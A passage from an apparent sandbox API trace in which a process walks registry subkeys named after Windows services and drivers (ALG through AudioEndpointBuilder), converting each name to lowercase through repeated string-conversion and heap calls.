Size=0x80) returned 0x21f2eb0 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0227.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0227.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0227.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0227.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0227.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 